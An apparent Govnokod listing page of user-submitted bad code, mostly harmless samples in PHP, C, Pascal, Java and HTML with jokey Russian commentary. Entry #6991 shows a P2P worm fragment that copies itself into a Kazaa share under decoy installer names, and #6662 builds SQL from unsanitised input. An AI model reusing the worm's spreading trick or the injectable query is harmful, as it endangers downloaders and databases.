1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #7056

    +147

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    $url_view = 'pages/news';// страница вида
    			$data = array(); //Создаем массив дата
    			// сегменты урл
    			$data['segment_1'] = $filter_1;
    			$data['segment_2'] = $filter_2; 
    			$limit = 10; // вывод новостей
    			$num_links = 4;  // кол-во страниц во круг текущей
    			$uri_segment = 5; // сегмент ссылки
    			$offset = ($page - 1) * $limit; // переводим page в offset
    			if(!is_numeric($filter_2)) {$filter_2 = iconv('utf-8', 'windows-1251', urldecode($filter_2));}	
    				
    			$base_url = '/page/filter/'.$filter_1.'/'.$filter_2.'/'; 
    			
    			// разбираем 1 фильтр для проверки
    			$filter_global = explode("_",$filter_1);
    			if($filter_global[0] == 'user') {$filter_1 = 'user'; $user_id = (int)$filter_global[1];}
    		
    			// описание каждого элемента фильтра
    			switch($filter_1) {
    				
    				case 'date':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'date_day':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'date_month':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);	
    				break;
    				
    				case 'date_year':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'rating':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'random':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'moderation':
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				case 'user':
    					$filter_1 = $filter_global[0].'_'.$filter_global[1]; // собираем обратно
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    				default:
    					$total = $this->paginations->count_posts_filter('news',$filter_1,$filter_2);
    					$data['materials'] = $this->paginations->list_posts_filter($limit, $offset, 'news', $filter_1, $filter_2);
    				break;
    				
    			}
    
    		$this->auxiliary->pagination($base_url,$uri_segment,$num_links,$total,$limit);//настройки пагинации
    		$this->auxiliary->general_view($data,'title_best','description_best','keywords_best',$url_view); // общий вид

    проверьте на наличие гавно кода .

    Контроллер фильтра выдачи в Codeigniter

    nepster, 25 Июня 2011

    Комментарии (19)
  3. Си / Говнокод #6991

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    randomize(); //Включаем генератор случайных чисел.
    ra = random(11)+1; //Генерим число от 1 до 11 и если выбрали то переходим вниз по коду.
    switch (ra)
    {
    case 1 : strcat(KazaaFull, "\\winamp502_full.exe"); break;
    case 2 : strcat(KazaaFull, "\\spdialer.exe"); break;
    case 3 : strcat(KazaaFull, "\\rammstein.scr"); break;
    case 4 : strcat(KazaaFull, "\\mozilla-1.6-win32-installer.exe"); break;
    case 5 : strcat(KazaaFull, "\\cdex_160_enu.exe"); break;
    //Присоединяем к пути новое имя.
    case 6 : strcat(KazaaFull, "\\kavperspro45rus.exe"); break;
    //Я говорил про запасную переменную.
    case 7 : strcat(KazaaFull, "\\restorator_4.0.exe"); break;
    // Мы юзаем "\\" потому что так нужно.
    case 8 : strcat(KazaaFull, "\\win_rar330.exe"); break;
    case 9 : strcat(KazaaFull, "\\mdialer_4.exe"); break;
    case 10 : strcat(KazaaFull, "\\apache_1.3.22-PL30.9-win32-x86.exe"); break;
    case 11 : strcat(KazaaFull, "\\offline_explorer_3.0_setup.exe"); break;
    }
    CopyFile(myname, KazaaFull, FALSE);
    //Ну и копируем свое тело в папку KazaaFull

    http://www.makak.ru/2007/11/09/wormp2p-svoimi-rukami/

    57fecfc99e2e4e2a, 18 Июня 2011

    Комментарии (19)
  4. PHP / Говнокод #6807

    +175

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    function enc($text) {
    
    $bad_symbols =  array('ï', 'î', 'é', 'è', 'ì', 'å', 'í', 'õ', 'Ö', 'Ç',
                          'Â', 'â', 'ó', 'ç', 'ä', 'à', 'Í', 'ò', 'Ð', 'ÿ',
    	        'ñ', 'Ì', 'ë', 'ý', 'ö', 'ã', 'Ñ', 'Ô', 'Ï', 'ü',
    	        'Ã', 'ð', 'æ', 'á', 'À', '¸', 'ù', 'Ê', 'ê', 'Á',
    	         '÷', 'Ý', 'û', 'Ë', 'È', 'Ò', 'ß', 'þ', 'Ä', 'Î',
    	        'Ó', 'Å', 'Æ', 'Û', 'ø', 'ô', '×', '¹', '³', 'Õ', 'Þ', 'Ø');
    					  
    $good_symbols = array('п', 'о', 'й', 'и', 'м', 'е', 'н', 'х', 'Ц', 'З',
                          'В', 'в', 'у', 'з', 'д', 'а', 'Н', 'т', 'Р', 'я',
    	        'с', 'М', 'л', 'э', 'ц', 'г', 'С', 'Ф', 'П', 'ь',
                          'Г', 'р', 'ж', 'б', 'А', 'ё', 'щ', 'К', 'к', 'Б',
    	         'ч', 'Э', 'ы', 'Л', 'И', 'Т', 'Я', 'ю', 'Д', 'О',
    	         'У', 'Е', 'Ж', 'Ы', 'ш', 'ф', 'Ч', '№', 'і', 'Х', 'Ю', 'Ш');
     
    $text_rus = str_replace($bad_symbols, $good_symbols, $text, $count);
    
    				
    // Восстанавливаем японские иероглифы
    $bad_symbols =  array('іх', 'Тф', 'ҐЇ', 'Ґё', 'ҐЯ', '©`', 'Ґµ', 'Ґа', 'ь\\', '¤¦', '¤µ', 'Ґ«', 'Ґу', 'Ґї', 'Ґм', 'Ґй',
                          'Ґ¦', 'ҐЙ', 'Ґ·', 'Ґ°', 'ҐК', 'Ґл', 'Ґк', 'Ґи', 'ЈЁ', 'Ј©', 'ЈЬ', 'ЈЇ', 'Бч', 'РЗ', 'СІ', 'зR',
    	         'ВЇ', 'РД', 'ИЪ', 'Ѕв', 'ҐЄ', 'Ґп', 'Ґі', 'РР', 'ЯM', 'Зъ', 'ҐИ', '¤н', '¤ї', '¤у', '¤А', '±°',
    	        'ЗУ', '‘й', 'к ', 'ҐЬ', 'Ґн', '¤П', '¤д', '‰ф', '¤Я', '¤л', '¤і', '¤И', '¤к');
    					  
    $good_symbols = array('初', '音', 'ク', 'ジ', 'ミ', 'ー', 'サ', 'ム', '黒', 'う', 'さ', 'カ', 'ン', 'タ', 'レ', 'ラ',
                          'ウ', 'ド', 'シ', 'グ', 'ナ', 'ル', 'リ', 'ヨ', '(', ')', '\', '/', '流', '星', '巡', '鏡',
    	        '炉', '心', '融', '解', 'オ', 'ワ', 'コ', '行', '進', '曲', 'ト', 'ろ', 'た', 'ん', 'だ', '卑',
    	        '怯', '戦', '隊', 'ボ', 'ロ', 'は', 'や', '夢', 'み', 'る', 'こ', 'と', 'り');
    
    $text_jap = str_replace($bad_symbols, $good_symbols, $text_rus, $count2);
    
    if ($count > 3)
        return $text_rus;
    elseif ($count2 > 3)
        return $text_jap;
    else return $text;
    }

    Декодер кривых тегов на интернет-радио.
    Написано год назад.
    Я, конечно, знал про iconv, но очень хотелось решить головоломку - имелся тег, который я знал, что значит в верной кодировке. А остальные я не знал, что значат.
    И в итоге, зная некоторые соответствия символов win-1252 и win-1251, стал отгадывать соответствия к остальным :)
    А дальше - высший пилотаж, это даже iconv не брал.
    Японские иероглифы, испорченные хрен знает как. Знал только как расшифровывается имя одного исполнителя.
    Дальше гуглом и методом тыка искал соответствия к остальным иероглифам.

    7ion, 01 Июня 2011

    Комментарии (19)
  5. Куча / Говнокод #6787

    +125

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    var f,i:Integer;
    begin
    for i:=1 to 100 do
    for i:=100 downto 1 do
    writeln('I=',i);
    end.

    "ПОЧЕМУ ЭТА ТВАР СЧИТАЕТ ТОЛЬКО В 1 СТОРОНУ?!"

    grouch, 30 Мая 2011

    Комментарии (19)
  6. PHP / Говнокод #6771

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    $datetime=strtotime($new["date"]);
        $m=date("m", $datetime);
        if($m=='01') { $month="Янв"; }
        if($m=='02') {  $month="Фев"; }
        if($m=='03') {  $month="Март"; }
        if($m=='04') {  $month="Апр"; }
        if($m=='05') {  $month="Май"; }
        if($m=='06') {  $month="Июнь"; }
        if($m=='07') {  $month="Иль"; }
        if($m=='08') {  $month="Авг"; }
        if($m=='09') {  $month="Сен"; }
        if($m=='10') {  $month="Окт"; }
        if($m=='11') {  $month="Ноя"; }
        if($m=='12') {  $month="Дек"; }
        $date = date("d", $datetime);

    http://www.askdev.ru/php/6048/%D0%A0%D0%B5%D0%B0%D0%BB%D0%B8%D0%B7%D0% B0%D1%86%D0%B8%D1%8F-%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0% BE%D0%B2-%D0%BD%D0%B0-PHP/

    radioheaded, 27 Мая 2011

    Комментарии (19)
  7. Куча / Говнокод #6705

    +135

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    <!-- Баннеры после меню -->
    <!-- место № 30 -->
      <div class="banner">
        <div class="emptybanner" id="banner_30"></div>
      </div>
    
      <!-- место № 40 -->
      <div class="banner">
        <div class="emptybanner" id="banner_40"></div>
      </div>
    
      <!-- место № 50 -->
      <div class="banner">
        <div class="emptybanner" id="banner_50"></div>
      </div>
    
      <!-- место № 60 -->
      <div class="banner">
        <div class="emptybanner" id="banner_60"></div>
      </div>
    
      <!-- место № 70 -->
      <div class="banner">
        <div class="emptybanner" id="banner_70"></div>
      </div>
    
      <!-- место № 80 -->
      <div class="banner">
        <div class="emptybanner" id="banner_80"></div>
      </div>
    
      <!-- место № 90 -->
      <div class="banner">
        <div class="emptybanner" id="banner_90"></div>
      </div>

    http://ticket.rzd.ru
    Все комментарии в коде в другой кодировке.
    Это, конечно, крутая конспирация, $str =~ s/<!--.*?-->//sg; и $str =~ s#//.*?-##g; нервно курят в сторонке.

    Ну а иллюстрация тоже веселая. Пустые баннеры отаке!

    7ion, 19 Мая 2011

    Комментарии (19)
  8. Java / Говнокод #6693

    +78

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    String Pushkin() {
    
        java.util.Random random = new java.util.Random((long) new java.util.Date().getTime());
            String col0s = null, col1s = null, col2s = null, col3s = null, col4s = null, col5s = null, col6s = null, col7s = null, col8s = null, col9s = null;
    
            String sp = "\u0020";
            int col0, col1, col2, col3, col4, col5, col6, col7, col8, col9;
    
            col0 =random.nextInt(10);
            col1 = random.nextInt(10);
            col2 = random.nextInt(10);
            col3 = random.nextInt(10);
            col4 = random.nextInt(10);
            col5 = random.nextInt(10);
            col6 = random.nextInt(10);
            col7 = random.nextInt(10);
            col8 = random.nextInt(10);
            col9 = random.nextInt(10);
    
            switch (col0) {
                case 0:
                    col0s = "Я помню"; break;
                case 1:
                    col0s = "Не помню";break;
                case 2:
                    col0s = "Забыть бы";break;
                case 3:
                    col0s = "Купите";break;
                case 4:
                    col0s = "Очкуешь";break;
                case 5:
                    col0s = "Какое";break;
                case 6:
                    col0s = "Угробил";break;
                case 7:
                    col0s = "Хреново";break;
                case 8:
                    col0s = "Открою";break;
                case 9:
                    col0s = "Ты чуешь?";break;
            }
    
    // ...
    
            switch (col9) {
                case 0:
                    col9s = "красоты";break;
                case 1:
                    col9s = "мерзлоты";break;
                case 2:
                    col9s = "суеты";break;
                case 3:
                    col9s = "наркоты";break;
                case 4:
                    col9s = "срамоты";break;
                case 5:
                    col9s = "школоты";break;
                case 6:
                    col9s = "типа ты";break;
                case 7:
                    col9s = "простоты";break;
                case 8:
                    col9s = "хреноты";break;
                case 9:
                    col9s = "наготы";break;
            }
    
            return col0s + sp + col1s + sp + col2s + sp + col3s + sp + col4s + ", как " + col5s + sp + col6s + ", как " + col7s + sp + col8s + sp + col9s + ".";
        }

    Формирует вариации на тему Пушкинского "чудного мгновенья". Автор утверждает, что именно так нужно писать код при ограничении по времени написания.

    XapoH, 17 Мая 2011

    Комментарии (19)
  9. PHP / Говнокод #6662

    +147

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    function write($pole,$table,$where,$order)
    {
      if ($where) $where="WHERE ".$where;
      $query="SELECT $pole FROM $table $where $order";
      $result=mysql_query($query);

    с одного дружественного сайта

    Lure Of Chaos, 14 Мая 2011

    Комментарии (19)
  10. PHP / Говнокод #6601

    +161

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    <!-------------------- Left menu -------------------------->
      <tr> 
        <td valign="top" width="188" class="text"> 
          <table width="188" border="0" cellspacing="0" cellpadding="10">
            <tr>
              <td class="tl">Content</td>
            </tr>
          </table>
          <? 
    
    global $SS_SECTION_NAME, $months2, $level, $SS_SECTION, $info, $arrInterest, $db, $is_photo, $ar_title, $is_contain, $id, $shablon;
    
    if ($prev == 'yes') $add = " AND t.is_confirm!=2 AND t.ref_id=0 ";
    else $add = " AND t.is_confirm!=0 AND t.is_visible=1 "; 
    $sql =  "SELECT t.tree_id, t.name, s.name as section, t.is_contain FROM trees t, sections s WHERE t.root_id=3 AND t.section_id = s.section_id ".$add." ORDER BY t.order_by";
    $db->query($sql);
    $Rec = array();	
    $i = 0;
    while($db->next_record()) {
        $Rec[$i++] = $db->Record;
    }
    reset($Rec);
    
    ?>

    Проект который нужно переписать на Yii framework. Писал человек с большим сроком работы программиста чем я. Видать про фреймворки не знал. Код не весь, так как он огромен.

    P.S. В проекте более 2000 файлов с таким содержанием.

    akazakov, 08 Мая 2011

    Комментарии (19)
  11. PHP / Говнокод #6528

    +163

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    /**
       * Строка парсится в аргументы функции
       * @param string
       * @return <type>
       */
      protected function _parse_func_arg ( $str ) {
        return func_get_args();
      }

    Поколупал netсat. Получил много эмоций... Спасибо.
    ( PS. По-моему, скоро netсat останется только в unix... )

    istem, 02 Мая 2011

    Комментарии (19)